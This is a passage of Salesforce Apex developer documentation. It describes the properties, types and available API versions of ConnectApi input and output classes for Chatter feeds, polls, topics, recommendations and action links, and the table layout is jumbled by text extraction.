
ConnectApi.
Describes bookmarks added to this feed
BookmarksCapability element.
Input

Optional

32.0

canvas

ConnectApi.
Describes a canvas app added to this feed
CanvasCapability element.
Input

Optional

32.0

content

ConnectApi.
Describes content added to this feed
ContentCapability element.
Input

Optional

32.035.0

Important: This class isnt available

for feed posts in version 36.0 and
later. In version 36.0 and later, use
ConnectApi.FilesCapabilityInput.

files

ConnectApi.
Describes files attached to this feed element. Optional
FilesCapabilityInput

36.0

link

ConnectApi.
Describes a link added to this feed element. Optional
LinkCapabilityInput

32.0

poll

ConnectApi.
Describes a poll added to this feed element. Optional
PollCapabilityInput

32.0

questionAnd
Answers

ConnectApi.
Describes a question and answer capability Optional
QuestionAndAnswers added to this feed element.
CapabilityInput

32.0

SEE ALSO:
ConnectApi.FeedElementInput Class

ConnectApi.FeedElementCapabilityInput Class
A feed element capability.
In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item
(and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even
if the capability property doesnt have a value. For example, if the ChatterLikes capability property exists on a feed element (with
or without a value), the context user can like that feed element. If the capability property doesnt exist, it isnt possible to like that feed

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Reference

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element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation
flags.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
This class is a superclass of:
ConnectApi.AssociatedActionsCapabilityInput
ConnectApi.BookmarksCapabilityInput
ConnectApi.CanvasCapabilityInput
ConnectApi.ContentCapabilityInput
ConnectApi.FilesCapabilityInput
ConnectApi.LinkCapabilityInput
ConnectApi.MuteCapabilityInput
ConnectApi.PollCapabilityInput
ConnectApi.QuestionAndAnswersCapabilityInput
ConnectApi.StatusCapabilityInput (Beta)

ConnectApi.FeedElementInput Class
Feed elements are the top-level items that a feed contains. Feeds are feed element containers.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass of ConnectApi.FeedItemInput Class.
Property

Type

capabilities

Description

Required or
Optional

Available Version

ConnectApi.
The capabilities that define auxiliary
information on this feed element.
FeedElement
CapabilitiesInput

Optional

31.0

feedElementType ConnectApi.
The type of feed element this input
FeedElementType represents.

Required

31.0

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Reference

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Property

Type

Description

Required or
Optional

subjectId

String

The ID of the parent this feed element is

Required
being posted to. This value can be the ID of
a user, group, or record, or the string me to
indicate the context user.

Available Version
31.0

SEE ALSO:
Post a Feed Element with a Mention
Post a Feed Element with Existing Content
Post a Feed Element with a New File (Binary) Attachment
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Share a Feed Element and Add a Comment
Edit a Feed Element
Edit a Question Title and Post
Post a Rich-Text Feed Element with Inline Image

ConnectApi.FeedItemAttachmentInput Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, use ConnectApi.FeedElementCapabilityInput
Class.
Used to attach a file to a feed item.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass for:
ConnectApi.CanvasAttachmentInput Class
ConnectApi.ContentAttachmentInput Class
ConnectApi.LinkAttachmentInput Class
ConnectApi.NewFileAttachmentInput Class
ConnectApi.PollAttachmentInput Class

ConnectApi.FeedItemInput Class
Used to create rich feed items, for example, feed items that include @mentions or files.
Subclass of ConnectApi.FeedElementInput Class as of version 31.0.

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Reference

Property

ConnectApi Input Classes

Type

Description

Required or
Optional

attachment ConnectApi.Feed Specifies the attachment for the feed item. The feed Optional
ItemAttachment item type is inferred based on the provided attachment.
Input Class

Available
Version
28.031.0

Important: As of API version 32.0, use the

inherited capabilities property.

body

ConnectApi.
MessageBody
Input Class

Message body. The body can contain up to 10,000

characters and 25 mentions. Because the character
limit can change, clients should make a
describeSObjects() call on the FeedItem or
FeedComment object and look at the length of the
Body or CommentBody field to determine the
maximum number of allowed characters.

Required unless 28.0

the feed item
has a link
capability or a
content
capability.

If you specify originalFeedElementId to share

a feed item, use the body property to add the first
comment to the feed item.
To edit this property in a feed item, use
updateFeedElement(communityId,
feedElementId, feedElement). Editing

feed posts is supported in version 34.0 and later.

isBookmarked Boolean
ByCurrentUser

Specifies if the new feed item should be bookmarked Optional

for the user (true) or not (false).

28.031.0

Important: As of API version 32.0, use the

capabilities.bookmarks.isBookmarkedByCurrentUser

property.
original
String
FeedElementId

To share a feed element, specify its 18-character ID.

Optional

31.0

original
String
FeedItemId

To share a feed item, specify its 18-character ID.

Optional

28.031.0

Optional

28.0

Important: As of API version 32.0, use the

originalFeedElementId property.

visibility ConnectApi.
Specifies the type of users who can see a feed item.
FeedItem
AllUsersVisibility is not limited to internal
VisibilityType
users.

Enum

InternalUsersVisibility is limited to
internal users.

ConnectApi.FileIdInput
Attach a file that has already been uploaded or remove a file from a feed element.

1340

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

String

ID of a file that has already been uploaded. Required

Available Version
36.0

operationType ConnectApi.
Specifies the operation to carry out on the Optional
OperationType file. Values are:
If not specified,

AddAdds the file to the feed

element.

36.0

defaults to Add.

RemoveRemoves the file from the

feed element.
Remove operations are processed before
Add operations. Adding content that is

already added and removing content that

is already removed result in no operation.

ConnectApi.FilesCapabilityInput
Attach up to 10 files that have already been uploaded or remove one or more files from a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Property

Type

Description

items

List<ConnectApi. List of file IDs and operations to be carried

FileIdInput> out on those files.

Required or
Optional

Available Version

Required

36.0

ConnectApi.GroupInformationInput Class
Property

Type

Description

Available Version

text

String

The text in the Information section of a group.

28.0

title

String

The title of the Information section of a group.

28.0

SEE ALSO:
ConnectApi.ChatterGroupInput Class

ConnectApi.HashtagSegmentInput Class
Used to include a hashtag in a feed item or comment.
Subclass of ConnectApi.MessageSegmentInput Class

1341

Reference

ConnectApi Input Classes

Property

Type

Description

Available Version

tag

String

Text of the hash tag without the # (hash tag) prefix

28.0

Note: Closing square brackets ( ] ) are not supported in hash

tag text. If the text contains a closing square bracket ( ] ), the
hash tag ends at the bracket.

SEE ALSO:
ConnectApi.MessageBodyInput Class

ConnectApi.InlineImageSegmentInput
An inline image segment.
Subclass of ConnectApi.MessageSegmentInput Class
Property

Type

Description

Required or
Optional

Available Version

altText

String

Alt text for the inline image.

Optional

35.0

If not specified, the

title of the inline
image file is used as
the alt text.
fileId

String

ID of the inline image file.

Required

35.0

SEE ALSO:
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class

ConnectApi.LinkAttachmentInput Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, use ConnectApi.LinkCapabilityInput.
Used as part of a feed item attachment, to add links.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Property

Type

Description

32.0

Optional

SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput

ConnectApi.LinkSegmentInput Class
Used to include a link segment in a feed item or comment.
Subclass of ConnectApi.MessageSegmentInput Class
Property

Type

Description

Available Version

SEE ALSO:
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class

ConnectApi.MarkupEndSegmentInput
The end tag for rich text markup.
Subclass of ConnectApi.MessageSegmentInput Class

1344

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

Available Version

markupType

ConnectApi.
MarkupType

Specifies the type of rich text markup.

Required

35.0

SEE ALSO:
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class

ConnectApi.MentionSegmentInput Class
Used to include an @mention of a user or a group in a feed item or a comment. The maximum number of mentions you can include in
a feed item or comment is 25.
Subclass of ConnectApi.MessageSegmentInput Class
Property

Type

Description

Available Version

String

ID of the user or group to be mentioned

28.0
Groups are available in 29.0

SEE ALSO:
ConnectApi.MessageBodyInput Class

ConnectApi.MessageBodyInput Class
Used to add rich messages to feed items and comments.

1345

Reference

ConnectApi Input Classes

Property

Type

messageSegments List<ConnectApi.
MessageSegment
Input Class>

Description

Available Version

List of message segments contained in the body

28.0

SEE ALSO:
ConnectApi.FeedItemInput Class
ConnectApi.CommentInput Class

ConnectApi.MessageSegmentInput Class
Used to add rich message segments to feed items and comments.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass for:
ConnectApi.HashtagSegmentInput Class
ConnectApi.InlineImageSegmentInput
ConnectApi.LinkSegmentInput Class
ConnectApi.MarkupBeginSegmentInput
ConnectApi.MarkupEndSegmentInput
ConnectApi.MentionSegmentInput Class
ConnectApi.TextSegmentInput Class
Use the ConnectApiHelper repository on GitHub to simplify many of the tasks accomplished with ConnectApi.MessageSegmentInput,
such as posting with inline images, rich text, and mentions.
SEE ALSO:
Edit a Comment
Edit a Feed Element
Edit a Question Title and Post
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class

ConnectApi.MuteCapabilityInput
Mute or unmute a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

1346

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

isMutedByMe

Boolean

Indicates whether the feed element is

Required
muted for the context user. Default value is
false.

Available Version
35.0

SEE ALSO:
setIsMutedByMe(communityId, feedElementId, isMutedByMe)

ConnectApi.NewFileAttachmentInput Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.
Describes a new file to be attached to a feed item. The actual binary file, that is the attachment, is provided as part of the BinaryInput in
the method that takes this attachment input, such as postFeedItem or postComment.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Property

Type

Description

Available Version

description

String

Description of the file to be uploaded.

28.031.0

title

String

The title of the file. This value is required and is also used as the file 28.031.0
name. For example, if the title is My Title, and the file is a .txt file, the
file name is My Title.txt.

ConnectApi.NewUserAudienceCriteriaInput
The criteria for the new members type of recommendation audience.
Subclass of ConnectApi.AudienceCriteriaInput.
Property

Type

Description

Required or
Optional

value

Double

The maximum number of days since a user Required

became a community member. For
example, if you specify 30, anyone who
became a community member in the last
30 days is included in the new members
audience.

ConnectApi.PhotoInput Class
Use to specify how crop a photo. Use to specify an existing file (a file that has already been uploaded).

1347

Available Version
36.0

Reference

ConnectApi Input Classes

Property

Type

Description

Available version

cropSize

Integer

The length, in pixels, of any edge of the crop square.

29.0

cropX

Integer

The position X, in pixels, from the left edge of the image to the start of
the crop square. Top left is position (0,0).

29.0

cropY

Integer

The position Y, in pixels, from the top edge of the image to the start of
the crop square. Top left is position (0,0).

29.0

fileId

String

18 character ID of an existing file. The key prefix must be 069 and the file 25.0
size must be less than 2 GB.
Note: Images uploaded on the Group page and on the User page
dont have file IDs and therefore cant be used.

versionNumber

Integer

Version number of the existing content. If not provided, the latest version 25.0
is used.

SEE ALSO:
setPhotoWithAttributes(communityId, groupId, photo)
setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
setPhotoWithAttributes(communityId, userId, photo)
setPhotoWithAttributes(communityId, userId, photo, fileUpload)

ConnectApi.PollAttachmentInput Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, use ConnectApi.PollCapabilityInput.
Used to attach a poll to a feed item.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Property

Type

Description

Available Version

pollChoices

List<String> The text labels for the poll items. Polls must contain between 2 to 10 poll 28.031.0
choices.

ConnectApi.PollCapabilityInput
Create, update, or vote on a poll on a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

1348

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

choices

List<String>

The choices used to create a new poll. You Required for creating 32.0
must specify 210 poll choices for each poll. a poll

myChoiceId

String

ID of an existing choice on the feed poll.

Used to vote on an existing poll.

Required for voting

on a poll

Available Version

32.0

SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput

ConnectApi.QuestionAndAnswersCapabilityInput
Create or edit a question feed element or set the best answer of the existing question feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Property

Type

Description

Required or
Optional

Available Version

bestAnswerId

String

A comment ID to use as a best answer for a

question feed element. The best answer
comment must already exist on the
question feed element.

Required to update
a feed element.

32.0

Title for a question feed element.

Required to post a
feed element.

questionTitle String

To edit the title of a question, use

Not supported when

posting a feed
element.

updateFeedElement(communityId, Not supported when

feedElementId, feedElement). updating a feed

Editing question titles is supported in

version 34.0 and later.

SEE ALSO:
Edit a Question Title and Post
ConnectApi.FeedElementCapabilitiesInput

ConnectApi.RecommendationAudienceInput
A recommendation audience.

1349

element.

32.0

Reference

ConnectApi Input Classes

Property

Type

criteria

ConnectApi.
The criteria for the recommendation
AudienceCriteria audience type.
Input

memberOperation ConnectApi.
Type
Recommendation
AudienceMember
OperationType

Description

Important: This property is

available only in version 35.0. In
version 36.0 and later, use
ConnectApi.
CustomListAudienceCriteriaInput.

Required or
Optional

Available Version

Optional

36.0

If not specified when

creating a
recommendation
audience, the
audience criteria
type defaults to
custom list.
Required to update
a recommendation
audience

35.0 only

Dont use or specify

null to create a
recommendation
The operation to carry out on the audience
audience
members.
AddAdds specified members to the
audience.
RemoveRemoves specified
members from the audience.

members

List<String>

Important: This property is

available only in version 35.0. In
version 36.0 and later, use
ConnectApi.
CustomListAudienceCriteriaInput.
A collection of user IDs.

Required to update
a recommendation
audience

35.0 only

Dont use or specify

null to create a
recommendation
audience

When updating an audience, you can

include up to 100 members. An audience
can have up to 100,000 members, and each
community can have up to 100 audiences.
name

String

The unique name of the recommendation Optional to update a 35.0

audience.
recommendation
audience
Required to create a
recommendation
audience

SEE ALSO:
createRecommendationAudience(communityId, recommendationAudience)

1350

Reference

ConnectApi Input Classes

ConnectApi.RecommendationDefinitionInput
A recommendation definition.
Property

Type

Description

Required or
Optional

Available Version

actionUrl

String

The URL for acting on the recommendation, Required to create a 35.0

for example, the URL to join a group.
recommendation
definition
Optional to update a
recommendation
definition

actionUrlName String

The text label for the action URL in the user Required to create a 35.0
interface, for example, Launch.
recommendation
definition
Optional to update a
recommendation
definition

explanation

35.0

SEE ALSO:
createRecommendationDefinition(communityId, recommendationDefinition)

ConnectApi.RequestHeaderInput Class
An HTTP request header name and value pair.
Property

Type

Description

Required or
Optional

Available Version

name

String

The name of the request header.

Required

33.0

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Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

Available Version

value

String

The value of the request header.

Required

33.0

insertion into an ordered list. The scheduled
recommendation is inserted into the
position specified by the rank. The rank
of all the scheduled recommendations after
it is pushed down. See Ranking scheduled
recommendations example.
If the specified rank is larger than the size
of the list, the scheduled recommendation
is put at the end of the list. The rank of
the scheduled recommendation is the size
of the list, instead of the one specified.
If a rank is not specified, the scheduled
recommendation is put at the end of the
list.
recommendation String
AudienceId

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ConnectApi Input Classes

Property

Type

Description

Required or
Optional

Available Version

recommendation audience and a scheduled

recommendation.
recommendation String
DefinitionId

ID of the recommendation definition that Required to create a 35.0

this scheduled recommendation schedules. scheduled
recommendation
You cant specify a
recommendation
DefinitionId

when updating an
existing scheduled
recommendation.

Ranking scheduled recommendations example

If you have these scheduled recommendations:
Scheduled Recommendations

Rank

ScheduledRecommendationA

ScheduledRecommendationB

ScheduledRecommendationC

And you include this information in the Scheduled Recommendation Input:

Scheduled Recommendation

Rank

ScheduledRecommendationD

The result is:

Scheduled Recommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationD

ScheduledRecommendationB

ScheduledRecommendationC

SEE ALSO:
createScheduledRecommendation(communityId, scheduledRecommendation)

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Reference

ConnectApi Input Classes

ConnectApi.StatusCapabilityInput (Beta)
Change the status of a feed element.
Note: This release contains a beta version of the pre-moderation feature, which means its a high-quality feature with known
limitations. This feature isnt generally available unless or until Salesforce announces its general availability in documentation or
in press releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your
purchase decisions only on the basis of generally available products and features. You can provide feedback and suggestions for
this feature in the Community Implementation group in the Success Community.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Property

Type

Description

Required or
Optional

feedEntityStatus ConnectApi.
Specifies the status of the feed item. Values Required
FeedEntityStatus are:

Available Version
37.0

PendingReviewThe feed item

isnt approved yet and therefore isnt
published or visible.
PublishedThe feed item is
approved and visible.
In version 37.0, you cant change a
Published feed item to
PendingReview.

ConnectApi.TextSegmentInput Class
Used to include a text segment in a feed item or comment.
Subclass of ConnectApi.MessageSegmentInput Class
Property

Type

Description

Available Version

text

String

Plain text for this segment. If hashtags or links are detected in text,
28.0
they are included in the comment as hashtag and link segments. Mentions
are not detected in text and are not separated out of the text. Mentions
require ConnectApi.MentionSegmentInput Class.

SEE ALSO:
Edit a Comment
Edit a Feed Element
Edit a Question Title and Post
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class

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Reference

ConnectApi Input Classes

ConnectApi.TopicInput Class
Update a topics name or description or merge topics.
Property

Type

Description

Available Version

description

String

Description of the topic

29.0

idsToMerge

List<String> List of up to five secondary topic IDs to merge with the primary topic

33.0

If any of these secondary topics are managed topics, they lose their topic
type, topic images, and children topics. Their feed items are reassigned
to the primary topic.
name

String

Name of the topic

29.0

Use this property to change only the capitalization and spacing of the
topic name.

SEE ALSO:
updateTopic(communityId, topicId, topic)

ConnectApi.TopicNamesInput
A list of topic names to replace currently assigned topics. Also a list of suggested topics to assign.
Property

Type

Description

Required or
Optional

topicNames

List<String>

A list of up to 10 topic names for a feed item Required

or 100 topic names for a record.

35.0

topicSuggestions List<String>

A list of suggested topics to assign to a

Optional
record or feed item to improve future topic
suggestions.

37.0

SEE ALSO:
reassignTopicsByName(communityId, recordId, topicNames)

ConnectApi.UserInput Class
Used to update a user.

1356

Available Version

Reference

ConnectApi Output Classes

Property

Type

Description

Available Version

aboutMe

String

The aboutMe property of a ConnectApi.UserDetail output 29.0

object. This property populates the About Me section of the user profile,
which is visible to all members of a community or organization.

SEE ALSO:
updateUser(communityId, userId, userInput)

ConnectApi Output Classes

Most ConnectApi methods return instances of ConnectApi output classes.
All properties are read-only, except for instances of output classes created within test code.
All output classes are concrete unless marked abstract in this documentation.
All concrete output classes have no-argument constructors that you can invoke only from test code. See Testing ConnectApi Code.

ConnectApi.AbstractMessageBody Class
This class is abstract.
Superclass of:
ConnectApi.FeedBody Class
ConnectApi.MessageBody Class
Name

Type

messageSegments List<ConnectApi.
MessageSegment>

Description

Available
Version

List of message segments

28.0
35.0

isRichText

Boolean

Indicates whether the body is rich text.

text

String

Display-ready text. Use this text if you dont want to process 28.0
the message segments.

ConnectApi.AbstractRecommendation Class
A recommendation.
This class is abstract.
Superclass of:
ConnectApi.EntityRecommendation Class
ConnectApi.NonEntityRecommendation Class
ConnectApi.NonEntityRecommendation Class isnt used in version 34.0 and later. In version 34.0 and later,
ConnectApi.EntityRecommendation Class is used for all recommendations.

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Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

explanation

ConnectApi.
Recommendation
Explanation

The recommendation explanation.

32.0

platformAction
Group

ConnectApi.
PlatformAction
Group

A platform action group instance with state

appropriate for the context user.

34.0

recommendation
Type

ConnectApi.
Specifies the type of record being recommended.
RecommendationType

32.0

url

String

34.0

URL for the recommendation.

ConnectApi.AbstractRecommendationExplanation Class
Explanation for a recommendation.
This class is abstract.
Superclass of ConnectApi.RecommendationExplanation Class.
Property Name

Type

Description

Available Version

summary

String

Summary explanation for recommendation.

32.0

type

ConnectApi.
Recommendation
ExplanationType

Indicates the reason for the recommendation.

32.0

ArticleViewedTogetherArticles often
viewed together with the article that the context
user just viewed.
ArticleViewedTogetherWithViewersArticles
often viewed together with other records that
the context user views.
CustomCustom recommendations.
FilePopularFiles with many followers or
views.
FileViewedTogetherFiles often viewed
at the same time as other files that the context
user views.
FollowedTogetherWithFolloweesUsers
often followed together with other records that
the context user follows.
GroupMembersFollowedGroups with
members that the context user follows.
GroupNewRecently created groups.
GroupPopularGroups with many active
members.

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Reference

Property Name

ConnectApi Output Classes

Type

Description
ItemViewedTogetherRecords often
viewed at the same time as other records that
the context user views.
PopularAppApplications that are popular.
RecordOwnedRecords that are owned by
the context user.
RecordParentOfFollowedParent
records of records that the context user follows.
RecordViewedRecords that the context
user recently viewed.
TopicFollowedTogetherTopics often
followed together with the record that the
context user just followed.
TopicFollowedTogetherWithFolloweesTopics
often followed together with other records that
the context user follows.
TopicPopularFollowedTopics with
many followers.
TopicPopularLikedTopics on posts that
have many likes.
UserDirectReportUsers who report to
the context user.
UserFollowedTogetherUsers often
followed together with the record that the
context user just followed.
UserFollowsSameUsersUsers who
follow the same users as the context user.
UserManagerThe context users manager.
UserNewRecently created users.
UserPeerUsers who report to the same
manager as the context user.
UserPopularUsers with many followers.
UserViewingSameRecordsUsers who
view the same records as the context user.

ConnectApi.AbstractRecordField Class
This class is abstract.
Superclass of:
ConnectApi.BlankRecordField Class
ConnectApi.LabeledRecordField Class

1359

Available Version

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ConnectApi Output Classes

A field on a record object.

Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
Name

Type

Description

Available Version

type

String

The type of the field. One of these values:

29.0

Address
Blank
Boolean
Compound
CreatedBy
Date
DateTime
Email
LastModifiedBy
Location
Name
Number
Percent
Phone
Picklist
Reference
Text
Time

ConnectApi.AbstractRecordView Class
This class is abstract.
Subclass of ConnectApi.ActorWithId Class
Superclass of:
ConnectApi.RecordSummary Class
ConnectApi.RecordView Class
A view of any record in the organization, including a custom object record. This object is used if a specialized object, such as User or
ChatterGroup, is not available for the record type.

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ConnectApi Output Classes

Name

Type

Description

Available Version

name

String

The localized name of the record.

29.0

ConnectApi.ActionLinkDefinition Class
The definition of an action link. Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this
reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have View All Data permission.
Property Name

Type

Description

Available Version

actionUrl

String

The action link URL. For example, a Ui action link 33.0

URL is a Web page. A Download action link URL is
a link to the file to download. Ui and Download
action link URLs are provided to clients. An Api or
ApiAsync action link URL is a REST resource. Api
and ApiAsync action link URLs arent provided to
clients. Links to Salesforce can be relative. All other
links must be absolute and start with https://.

createdDate

Datetime

An ISO 8601 format date string, for example,

2011-02-25T18:24:31.000Z.

excludedUserId

String

ID of a single user to exclude from performing the 33.0

action. If you specify an excludedUserId, you
cant specify a userId.

groupDefault

Boolean

true if this action is the default action link in the

action link group; false otherwise. There can be

33.0

only one default action link per action link group. The
default action link gets distinct styling in the
Salesforce UI.
headers

List<ConnectApi.
RequestHeader>

The request headers for the Api and ApiAsync 33.0

action link types.

String

The 18-character ID for the action link definition.

label

String

A custom label to display on the action link button. 34.0

A label value can be set only in an action link
template.
Action links have four statuses: NewStatus,
PendingStatus, SuccessStatus, and FailedStatus. These
strings are appended to the label for each status:
label
label Pending
label Success
label Failed

1361

33.0

Reference

Property Name

ConnectApi Output Classes

Type

Description

Available Version

For example, if the value of label is See Example,

the values of the four action link states are: See
Example, See Example Pending, See Example Success,
and See Example Failed.
An action link can use either label or labelKey
to generate label names, it cant use both. If label
has a value, the value of labelKey is None. If
labelKey has a value other than None, the value
of label is null.
labelKey

String

Key for the set of labels to show in the user interface. 33.0
A set includes labels for these states: NewStatus,
PendingStatus, SuccessStatus, FailedStatus. For
example, if you use the Approve key, you get these
labels: Approve, Pending, Approved, Failed.
For a complete list of label keys, see Action Links
Labels.

method

ConnectApi.
The HTTP method. One of these values:
33.0
HttpRequestMethod HttpDeleteReturns HTTP 204 on success.

Response body or output class is empty.

HttpGetReturns HTTP 200 on success.
HttpHeadReturns HTTP 200 on success.
Response body or output class is empty.
HttpPatchReturns HTTP 200 on success or
HTTP 204 if the response body or output class is
empty.
HttpPostReturns HTTP 201 on success or
HTTP 204 if the response body or output class is
empty. Exceptions are the batch posting
resources and methods, which return HTTP 200
on success.
HttpPutReturn HTTP 200 on success or
HTTP 204 if the response body or output class is
empty.
modifiedDate

Datetime

An ISO 8601 format date string, for example,

2011-02-25T18:24:31.000Z.

requestBody

String

The request body for Api and ApiAsync action 33.0

link types.
Note: Escape quotation mark characters in
the requestBody value.

1362

33.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

requires
Confirmation

Boolean

true to require the user to confirm the action;

false otherwise.

33.0

templateId

String

The ID of the action link template from which to

instantiate this action link. If the action link isnt
associated with a template, the value is null.

33.0

type

ConnectApi.
ActionLinkType

Defines the type of action link. Values are:

33.0

ApiThe action link calls a synchronous API at

the action URL. Salesforce sets the status to
SuccessfulStatus or FailedStatus
based on the HTTP status code returned by your
server.
ApiAsyncThe action link calls an
asynchronous API at the action URL. The action
remains in a PendingStatus state until a
third party makes a request to
/connect/action-links/actionLinkId
to set the status to SuccessfulStatus or
FailedStatus when the asynchronous

operation is complete.
DownloadThe action link downloads a file
from the action URL.
UiThe action link takes the user to a Web
page at the action URL.
Note: Invoking ApiAsync action links from
an app requires a call to set the status.
However, there isnt currently a way to set the
status of an action link using Apex. To set the
status, use Chatter REST API. See the Action
Link resource in the Chatter REST API Developer
Guide for more information.
userId

String

The ID of the user who can execute the action. If not 33.0
specified or null, any user can execute the action.
If you specify a userId, you cant specify an
excludedUserId.

ConnectApi.ActionLinkDiagnosticInfo Class
Any diagnostic information that may exist for an executed action link. Diagnostic info is provided only for users who can access the
action link.

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Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

diagnosticInfo

String

Any diagnostic information returned when an action 33.0

link is executed. Diagnostic information is provided
only for users who can access the action link.

url

String

The URL for this action link diagnostic information.

33.0

ConnectApi.ActionLinkGroupDefinition Class
The definition of an action link group. Information in the action link group definition can be sensitive to a third party (for example, OAuth
bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read,
modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.
Property Name

Type

Description

Available Version

actionLinks

List<ConnectApi.

A collection of action link definitions that make up

33.0

ActionLinkDefinition> the action link group. Within an action link group,

action links are displayed in the order listed in the

actionLinks property of the
ConnectApi.ActionLinkGroupDefinitionInput

class. Within a feed item, action link groups are

displayed in the order specified in the
actionLinkGroupIds property of the
ConnectApi.AssociatedActionsCapabilityInput

class.
category

ConnectApi.
PlatformAction
GroupCategory

Indicates the priority and location of the action links. 33.0

Values are:
PrimaryThe action link group is displayed
in the body of the feed element.
OverflowThe action link group is displayed
in the overflow menu of the feed element.

createdDate

Datetime

ISO8601 date string, for example,

2011-02-25T18:24:31.000Z.

executions
Allowed

ConnectApi.
Defines the number of times an action link can be
executed. Values are:
ActionLink
ExecutionsAllowed OnceAn action link can be executed only

once across all users.

OncePerUserAn action link can be
executed only once for each user.
UnlimitedAn action link can be executed
an unlimited number of times by each user. If the
action links actionType is Api or
ApiAsync, you cant use this value.

1364

33.0
33.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

expirationDate

Datetime

ISO 8601 date string, for example,

33.0
2011-02-25T18:24:31.000Z, that represents the date
and time this action group expires and can no longer
be executed. If the value is null, there isnt an
expiration date.

String

18-character ID of the action link group definition.

33.0

modifiedDate

Datetime

ISO8601 date string, for example,

2011-02-25T18:24:31.000Z.

Reference

ConnectApi Output Classes

ConnectApi.ArticleSummary
ConnectApi.ChatterGroup Class
ConnectApi.File Class
ConnectApi.RelatedFeedPost (Beta)
ConnectApi.User Class
Name

Type

Description

Available Version

String

Actors 18-character ID

28.0

motif

ConnectApi. An icon that identifies the actor as a user, group, file, or custom
28.0
object. The icon isnt the user or group photo, and it isnt a preview
Motif

of the file. The motif can also contain the objects base color.
mySubscription ConnectApi. If the context user is following the item, this contains information
Reference about the subscription, else returns null.
url

String

Chatter REST API URL for the resource

28.0
28.0

ConnectApi.Address Class
Name

Type

Description

Available Version

city

String

Name of the city

28.0

ConnectApi.Announcement
An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless its deleted or
replaced by another announcement.
Name

Type

expirationDate Datetime

feedElement

Description

Available Version

The Salesforce UI displays an announcement until 11:59 31.0

p.m. on this date unless another announcement is posted
first. The Salesforce UI ignores the time value in the
expirationDate. However, you can use the time value
to create your own display logic in your own UI.

ConnectApi.
The feed element that contains the body of the
31.0
FeedElement Class announcement and its associated comments, likes, and so

on.

1366

Reference

ConnectApi Output Classes

Name

Type

Description

Available Version

String

18-character ID of the announcement.

31.0

isArchived

Boolean

Specifies whether the announcement is archived.

36.0

sendEmails

Boolean

Specifies whether the announcement is sent as an email

to all group members.

36.0

url

String

The URL to the announcement.

33.0

ConnectApi.AnnouncementPage
A collection of announcements.
Name

Type

Description

announcements

List<ConnectApi
.Announcement>

A collection of ConnectApi.Announcement objects. 31.0

currentPageUrl String

Chatter REST API URL identifying the current page.

Available Version

31.0

String

Chatter REST API URL identifying the next page or null if 31.0
there isnt a next page. Check whether this value is null
before getting another page. If a page doesnt exist, a
ConnectApi.NotFoundException error is
returned.

previousPageUrl String

Chatter REST API URL identifying the previous page or null 31.0
if there isnt a previous page.

nextPageUrl

ConnectApi.ApprovalAttachment Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.ApprovalCapability Class is
used.
Subclass of ConnectApi.FeedItemAttachment Class
Name

Type

Description

Available Version

String

A work item ID.

28.031.0

postTemplateFields List
<ConnectApi.
ApprovalPost
TemplateField>

Collection of approval post template fields

28.031.0

process
String
InstanceStepId

An approval step ID.

30.031.0

status

Specifies the status of a workflow process.

28.031.0

ConnectApi.
WorkflowProcess
Status Enum

Approved

1367

Reference

Name

ConnectApi Output Classes

Type

Description

Available Version

Fault
Held
NoResponse
Pending
Reassigned
Rejected
Removed
Started

